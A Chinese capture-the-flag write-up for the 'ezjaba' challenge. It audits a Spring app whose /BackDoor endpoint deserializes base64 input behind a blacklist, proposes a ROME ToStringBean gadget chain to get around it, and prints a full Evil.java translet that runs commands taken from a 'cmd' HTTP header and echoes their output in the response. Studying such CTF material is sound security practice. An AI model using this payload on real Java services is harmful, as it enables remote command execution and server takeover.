# 陇原战疫 ezjaba(内存马)
# 源码
给了个 jar 包
@Controller | |
public class IndexController { | |
@ResponseBody | |
@RequestMapping({"/"}) | |
public String index() { | |
return "Give you a cup of java, calm down"; | |
} | |
@ResponseBody | |
@RequestMapping({"/BackDoor"}) | |
public String BackDoor(@RequestParam(name = "ctf", required = true) String data) throws Exception { | |
Object object1 = new Object(this); | |
Object object = null; | |
byte[] b = Tool.base64Decode(data); | |
InputStream inputStream = new ByteArrayInputStream(b); | |
BlacklistObjectInputStream ois = new BlacklistObjectInputStream(inputStream, (Set)object1); | |
try { | |
object = ois.readObject(); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} catch (ClassNotFoundException e) { | |
e.printStackTrace(); | |
} finally { | |
System.out.println("information:" + object.toString()); | |
} | |
return "calm down...."; | |
} | |
} |
public class Tool { | |
public static byte[] base64Decode(String base64) { | |
Base64.Decoder decoder = Base64.getDecoder(); | |
return decoder.decode(base64); | |
} | |
public static String base64Encode(byte[] bytes) { | |
Base64.Encoder encoder = Base64.getEncoder(); | |
return encoder.encodeToString(bytes); | |
} | |
} |
public class BlacklistObjectInputStream extends ObjectInputStream { | |
public Set blacklist; | |
public BlacklistObjectInputStream(InputStream inputStream, Set bl) throws IOException { | |
super(inputStream); | |
this.blacklist = bl; | |
} | |
protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException { | |
if (this.blacklist.contains(cls.getName())) | |
throw new InvalidClassException("Unexpected serialized class", cls.getName()); | |
return super.resolveClass(cls); | |
} | |
} |
public class MySecurityManager extends SecurityManager { | |
public static void setSecurityManager() { | |
SecurityManager oldSecurityManager = System.getSecurityManager(); | |
if (oldSecurityManager == null) { | |
Object object = new Object(); | |
System.setSecurityManager((SecurityManager)object); | |
} | |
} | |
} |
# 代码审计
IndexController
直接对参数反序列化,不过这里是自己实现的 BlacklistObjectInputStream
反序列化中有黑名单类中的类就报错
看一下依赖
rome 反序列化
# rome 反序列化
这里的过滤了 HashMap
和 BadAttributeValueExpException
, 但是这里的 toString
方法可控
那么这里就相当于调用 ToStringBean.toString
方法了
然后就是 hint
说不出网,内存马注入
这里其实就是获取 request
与 response
进行回显,没有注册 controller
什么的
Evil.java
import com.sun.org.apache.xalan.internal.xsltc.DOM; | |
import com.sun.org.apache.xalan.internal.xsltc.TransletException; | |
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | |
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | |
import java.net.InetAddress; | |
import java.io.ByteArrayOutputStream; | |
import java.io.InputStream; | |
import java.io.ObjectOutputStream; | |
import java.io.*; | |
import java.lang.reflect.Method; | |
import java.util.Scanner; | |
public class Evil extends AbstractTranslet | |
{ | |
static { | |
try { | |
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); | |
Method m = c.getMethod("getRequestAttributes"); | |
Object o = m.invoke(null); | |
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); | |
m = c.getMethod("getResponse"); | |
Method m1 = c.getMethod("getRequest"); | |
Object resp = m.invoke(o); | |
Object req = m1.invoke(o); // HttpServletRequest | |
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); | |
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class); | |
getHeader.setAccessible(true); | |
getWriter.setAccessible(true); | |
Object writer = getWriter.invoke(resp); | |
String cmd = (String) getHeader.invoke(req, "cmd"); | |
String[] commands = new String[3]; | |
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8"; | |
if (System.getProperty("os.name").toUpperCase().contains("WIN")) { | |
commands[0] = "cmd"; | |
commands[1] = "/c"; | |
} else { | |
commands[0] = "/bin/sh"; | |
commands[1] = "-c"; | |
} | |
commands[2] = cmd; | |
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next()); | |
writer.getClass().getDeclaredMethod("flush").invoke(writer); | |
writer.getClass().getDeclaredMethod("close").invoke(writer); | |
} | |
catch (Exception e){ | |
} | |
} | |
@Override | |
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | |
} | |
@Override | |
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | |
} | |
} |
放到 rome
反序列化里面即可